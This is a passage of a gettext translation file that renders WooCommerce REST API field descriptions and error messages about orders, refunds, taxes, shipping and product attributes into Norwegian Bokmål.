#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:180
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2113
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:109
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2089
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:109
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1565
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1571
#: src/Admin/API/Reports/Categories/Controller.php:157
msgid "Category name."
msgstr "Kategorinavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:523
msgid "Enable/Disable attribute archives."
msgstr "Slå av/på attributtarkiver."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:516
msgid "Default sort order."
msgstr "Standard rekkefølge."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:509
msgid "Type of attribute."
msgstr "Type attributt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:493
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2215
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2257
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2546
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1011
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2203
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2248
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:841
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1707
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1752
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1713
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1758
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:36
msgid "Attribute name."
msgstr "Attributtnavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:231
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:261
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-shipping-classes-v1-controller.php:124
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-tags-v1-controller.php:124
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:202
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:202
msgid "Number of published products for the resource."
msgstr "Antall publiserte produkter for ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:226
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:256
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:197
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:197
msgid "Menu order, used to custom sort the resource."
msgstr "Menyrekkefølge, brukes til egendefinert sortering av ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:218
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:201
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-shipping-classes-v1-controller.php:116
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-tags-v1-controller.php:116
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:130
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:130
msgid "HTML description of the resource."
msgstr "HTML-beskrivelse av ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:210
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:501
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:188
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-shipping-classes-v1-controller.php:108
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-tags-v1-controller.php:108
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:117
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:117
msgid "An alphanumeric identifier for the resource unique to its type."
msgstr "En alfanumerisk identifikator for ressursen, unik for dens type."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:202
#: src/StoreApi/Schemas/V1/TermSchema.php:36
msgid "Term name."
msgstr "Navn på term."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1676
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2086
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:108
msgid "Limit result set to orders assigned a specific product."
msgstr "Begrens resultatet til ordre assosiert med et gitt produkt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1670
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2080
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:102
msgid "Limit result set to orders assigned a specific customer."
msgstr "Begrens resultatet til ordre assosiert med en gitt kunde."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1663
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2073
msgid "Limit result set to orders assigned a specific status."
msgstr "Begrens resultatet til ordre med en gitt ordrestatus."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1639
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2019
msgid "Refund total."
msgstr "Totalt refundert."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1633
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2013
msgid "Refund reason."
msgstr "Årsak til refusjon."
#: includes/cli/class-wc-cli-runner.php:113
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1627
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2007
msgid "Refund ID."
msgstr "Refusjons-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1619
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1999
msgid "List of refunds."
msgstr "Liste over refusjoner."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1610
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1946
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:59
msgid "Discount total tax."
msgstr "Total avgift av rabatter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1605
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1941
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:53
msgid "Discount total."
msgstr "Total rabatt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1587
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1923
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:488
msgid "Coupons line data."
msgstr "Rabattkodelinjedata."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1539
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:781
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1848
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:56
msgid "Tax status of fee."
msgstr "Gebyrets avgiftsstatus."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1534
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:776
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1843
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:51
msgid "Tax class of fee."
msgstr "Gebyrets avgiftsklasse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1529
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:771
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1838
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:46
#: src/StoreApi/Schemas/V1/CartFeeSchema.php:36
msgid "Fee name."
msgstr "Navn på gebyr."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1516
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:758
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1825
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:479
msgid "Fee lines data."
msgstr "Gebyrlinjens data."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1474
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:685
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1752
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:47
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:471
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:51
msgid "Shipping method ID."
msgstr "Fraktmåte-id."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1469
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:680
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1747
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:46
msgid "Shipping method name."
msgstr "Fraktmåtens navn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1456
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:667
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1734
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:470
msgid "Shipping lines data."
msgstr "Fraktlinjens data."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1447
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:632
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1699
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:76
msgid "Shipping tax total."
msgstr "Fraktavgift totalt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1441
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:626
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1693
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:70
msgid "Tax total (not including shipping taxes)."
msgstr "Avgift totalt (ikke inkludert fraktsavgift)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1435
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:620
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1687
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:64
msgid "Show if is a compound tax rate."
msgstr "Viser om det er en sammensatt avgiftssats."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1429
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:614
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1681
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:58
msgid "Tax rate label."
msgstr "Etikett for avgiftssats."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1417
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:602
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1669
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:46
msgid "Tax rate code."
msgstr "Avgiftssatskode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1403
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:588
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1655
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:460
msgid "Tax lines data."
msgstr "Data fra avgiftslinjer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1264
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1456
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:419
msgid "MD5 hash of cart items to ensure orders are not modified."
msgstr "MD5 hash av produkter i handlekurven for å forsikre at ordre ikke er modifisert."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1258
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1432
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:391
msgid "The date the order was paid, in the site's timezone."
msgstr "Dato da ordren ble betalt, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1252
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1444
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:405
msgid "The date the order was completed, in the site's timezone."
msgstr "Dato da ordren ble fullført, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1247
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1294
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:248
msgid "Note left by customer during checkout."
msgstr "Melding lagt inn av kunden i kassen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1241
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1178
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:123
msgid "Shows where the order was created."
msgstr "Viser hvor ordren ble opprettet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1235
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1288
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:242
msgid "User agent of the customer."
msgstr "Kundens nettleser."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1229
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1282
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:236
msgid "Customer's IP address."
msgstr "Kundens IP-adresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1224
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1427
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:386
msgid "Unique transaction ID."
msgstr "Unik transaksjons-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1218
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2034
#: src/RestApi/Routes/V4/Orders/Controller.php:119
#: src/RestApi/Routes/V4/Orders/Controller.php:156
msgid "Define if the order is paid. It will set the status to processing and reduce stock items."
msgstr "Definer når en ordre blir betalt, om status skal settes til under behandling, og lagerstatus reduseres."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1210
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1419
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:378
msgid "Payment method title."
msgstr "Navn på betalingsmåte."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1205
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1414
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:373
msgid "Payment method ID."
msgstr "Betalingmetode-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1153
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1362
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:316
#: src/StoreApi/Routes/V1/CartUpdateCustomer.php:59
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:137
msgid "Shipping address."
msgstr "Leveringsadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1135
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1198
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1344
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1407
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:298
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:361
msgid "Country code in ISO 3166-1 alpha-2 format."
msgstr "Landskode i ISO 3166-1 alpha-2 format."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1090
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1299
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:253
#: src/StoreApi/Routes/V1/CartUpdateCustomer.php:52
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:126
msgid "Billing address."
msgstr "Fakturaadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1084
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1264
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:218
msgid "Sum of all taxes."
msgstr "Summen av alle avgifter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1078
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1258
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:212
msgid "Grand total."
msgstr "Totalt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1072
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1252
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:206
msgid "Sum of line item taxes only."
msgstr "Summen av bare produktlinjeavgifter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1066
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1246
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:200
msgid "Total shipping tax amount for the order."
msgstr "Totalt beløp for fraktavgift for ordren."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1060
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1240
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:194
msgid "Total shipping amount for the order."
msgstr "Totalt fraktbeløp for denne ordren."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1054
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1234
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:188
msgid "Total discount tax amount for the order."
msgstr "Totalt rabattavgiftbeløp for denne ordren."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1048
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1228
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:182
msgid "Total discount amount for the order."
msgstr "Totalt rabattert beløp for denne ordren."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1042
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1276
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:230
msgid "User ID who owns the order. 0 for guests."
msgstr "Bruker-ID for ordrens eier, 0 for gjester."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1216
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:168
msgid "The date the order was last modified, in the site's timezone."
msgstr "Dato for siste endring av ordren, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1204
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:154
msgid "The date the order was created, in the site's timezone."
msgstr "Dato for opprettelse av ordre, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1024
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1270
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:224
msgid "True the prices included tax during checkout."
msgstr "Viser om prisene var inkludert avgift i kassen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1011
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1197
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:141
msgid "Currency the order was created with, in ISO format."
msgstr "Valutaen ordren ble opprettet med, i ISO-format."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:992
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1190
#: src/Admin/API/Reports/Orders/Controller.php:161
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:134
msgid "Order status."
msgstr "Ordrestatus."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:987
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1161
#: includes/rest-api/Controllers/Version3/class-wc-rest-refunds-controller.php:175
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:106
msgid "Parent order ID."
msgstr "Forelderordre-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:791
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1059
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:225
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:220
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:309
msgid "Order item ID provided is not associated with order."
msgstr "Angitt produkt-ID er ikke assosiert med ordren."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:753
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1022
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:69
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:452
msgid "Coupon code is required."
msgstr "Rabattkode er påkrevd."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:729
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:997
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:428
msgid "Fee name is required."
msgstr "Navn på gebyr er påkrevd."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:706
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:973
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:406
msgid "Shipping method ID is required."
msgstr "Fraktmåte-id er påkrevd."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:634
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:881
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:349
msgid "Product ID or SKU is required."
msgstr "Produkt-id eller produktnummer er påkrevd."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:470
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:805
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:271
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:97
msgid "Customer ID is invalid."
msgstr "Ugyldig kunde-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:522
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1683
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2093
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:39
msgid "Number of decimal points to use in each resource."
msgstr "Antall desimaler som skal vises for hver ressurs."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:495
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1391
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:538
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:384
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:439
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:564
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:656
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:747
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:845
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1480
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1597
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1723
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1814
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1912
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1988
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1047
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2301
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:273
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:877
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1806
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1812
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:47
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:443
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:199
msgid "Meta value."
msgstr "Metaverdi."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:489
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1385
msgid "Meta label."
msgstr "Meta-etikett."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:483
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1379
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:533
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:379
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:434
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:558
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:651
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:742
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:840
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1475
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1592
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1718
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1809
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1907
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1983
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1042
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2296
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:268
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:872
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1801
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1807
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:42
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:438
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:193
msgid "Meta key."
msgstr "Meta-nøkkel."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:475
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1371
msgid "Line item meta data."
msgstr "Ordrelinjens metadata."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:466
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1362
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1575
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:535
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:818
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1571
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1885
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:116
msgid "Tax subtotal."
msgstr "Avgifter delsum."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:460
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1356
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1504
